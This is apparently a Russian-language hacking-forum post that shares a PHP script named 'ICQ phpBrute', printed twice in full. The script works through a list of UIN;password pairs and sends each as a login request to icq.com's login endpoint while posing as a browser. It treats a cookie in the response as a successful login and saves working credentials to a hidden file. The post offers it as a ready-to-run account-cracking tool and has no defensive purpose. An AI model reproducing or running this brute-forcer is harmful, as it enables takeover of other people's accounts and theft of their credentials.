Короче частенько меня спрашивают по этому поводу. Вот накопал в иннете:
Код:
Скопировать в буфер обмена
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>ICQ phpBrute</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?
///Для того, чтбы скрипт бесконечно работал
set_time_limit(0);
///Чтобы все ошибки показывал
Error_Reporting(E_ALL & ~E_NOTICE);
///Константы, просьба не менять
$config=array();
$config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать)
$config['pass']='./pass.txt'; ///Лист паролей
$config['separator']=';'; /// Разделитель уин;pass
$config['host']='www.icq.com'; /// HTTP сервер мирабов
$config['port']=80; /// HTTP порт
$config['statfile']='./stat.html'; ///Служебный файл
///Если брутер запущен, то выдаем результат работы
if(file_exists($config['statfile']))
{
include($config['statfile']);
echo '
</body>
</html>';
exit();
}
///Типа притворяемся браузером
$request = "POST /karma/login.php HTTP/1.1\r\n";
$request .= "Host: ".$config['host']." \r\n";
$request .= "User-Agent: Opera 7.50";
$request .= "rulez\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: http://yandex.ru/ \r\n";
///Плохие и хорошие уины
$goodcount=0;
$badcount=0;
///Открытие файла с паролями
$pass=file($config['pass']);
///Непосредственно брут
for($i=0;$i<count($pass);$i++)
{
list($s,$s1)=explode($config['separator'],$pass[$i]);
///Данные для отправки к мирабам
$posts = array ( 'dest' => '/whitepages/user_details.php',
'desc' => '',
'service' => '20',
'css'=> 'whitepages',
'uin_email'=> $s,
'password' => trim($s1)
);
$postValues="";
$s='';
///Кодирование
foreach( $posts AS $name => $value )
{
$postValues .= urlencode($name) . "=" . urlencode($value) . '&';
}
///Создаем post запрос
$lenght = strlen($postValues);
$request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n";
$request2 .= "Content-Length: $lenght\r\n";
$request2 .= "\r\n";
$request2 .= $postValues;
///Открываем сокет
$fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30);
if (!$fp)
{
///На случай ошибки
echo "$errstr ($errno)
\n";
}
else
{
///Отправляем данные на whitepages
fwrite($fp, $request2);
while (!feof($fp))
{
$s.=fgets($fp, 128);
}
}
///Закрываем сокет
fclose($fp);
///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
if(strpos($s,'Set-C*****')==true)
{
$good=fopen($config['good'],'a');
fwrite($good,$pass[$i]);
fclose($good);
$goodcount++;
}
else $badcount++;
if($i%10==0)
{
$count=count($pass)-$i;
///Обновление статистики
$s=<<<HTML
--------------------------
<b>ICQ phpBrute</b>
--------------------------
Хороших: $goodcount
Плохих: $badcount
Осталось: $count
---
HTML;
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat);
}
}
$s=<<<HTML
--------------------------
<b>ICQ phpBrute</b>
--------------------------
Работа завершена.
Хороших: $goodcount
Плохих: $badcount
Для продолжения, удалите файл со статистикой
---
HTML;
///Запись конечного результата в файл
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat);
///Брут завершен
?>
Код:
Скопировать в буфер обмена
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>ICQ phpBrute</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?
///Для того, чтбы скрипт бесконечно работал
set_time_limit(0);
///Чтобы все ошибки показывал
Error_Reporting(E_ALL & ~E_NOTICE);
///Константы, просьба не менять
$config=array();
$config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать)
$config['pass']='./pass.txt'; ///Лист паролей
$config['separator']=';'; /// Разделитель уин;pass
$config['host']='www.icq.com'; /// HTTP сервер мирабов
$config['port']=80; /// HTTP порт
$config['statfile']='./stat.html'; ///Служебный файл
///Если брутер запущен, то выдаем результат работы
if(file_exists($config['statfile']))
{
include($config['statfile']);
echo '
</body>
</html>';
exit();
}
///Типа притворяемся браузером
$request = "POST /karma/login.php HTTP/1.1\r\n";
$request .= "Host: ".$config['host']." \r\n";
$request .= "User-Agent: Opera 7.50";
$request .= "rulez\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: http://yandex.ru/ \r\n";
///Плохие и хорошие уины
$goodcount=0;
$badcount=0;
///Открытие файла с паролями
$pass=file($config['pass']);
///Непосредственно брут
for($i=0;$i<count($pass);$i++)
{
list($s,$s1)=explode($config['separator'],$pass[$i]);
///Данные для отправки к мирабам
$posts = array ( 'dest' => '/whitepages/user_details.php',
'desc' => '',
'service' => '20',
'css'=> 'whitepages',
'uin_email'=> $s,
'password' => trim($s1)
);
$postValues="";
$s='';
///Кодирование
foreach( $posts AS $name => $value )
{
$postValues .= urlencode($name) . "=" . urlencode($value) . '&';
}
///Создаем post запрос
$lenght = strlen($postValues);
$request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n";
$request2 .= "Content-Length: $lenght\r\n";
$request2 .= "\r\n";
$request2 .= $postValues;
///Открываем сокет
$fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30);
if (!$fp)
{
///На случай ошибки
echo "$errstr ($errno)
\n";
}
else
{
///Отправляем данные на whitepages
fwrite($fp, $request2);
while (!feof($fp))
{
$s.=fgets($fp, 128);
}
}
///Закрываем сокет
fclose($fp);
///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
if(strpos($s,'Set-C*****')==true)
{
$good=fopen($config['good'],'a');
fwrite($good,$pass[$i]);
fclose($good);
$goodcount++;
}
else $badcount++;
if($i%10==0)
{
$count=count($pass)-$i;
///Обновление статистики
$s=<<<HTML
--------------------------
<b>ICQ phpBrute</b>
--------------------------
Хороших: $goodcount
Плохих: $badcount
Осталось: $count
---
HTML;
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat);
}
}
$s=<<<HTML
--------------------------
<b>ICQ phpBrute</b>
--------------------------
Работа завершена.
Хороших: $goodcount
Плохих: $badcount
Для продолжения, удалите файл со статистикой
---
HTML;
///Запись конечного результата в файл
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat);
///Брут завершен
?>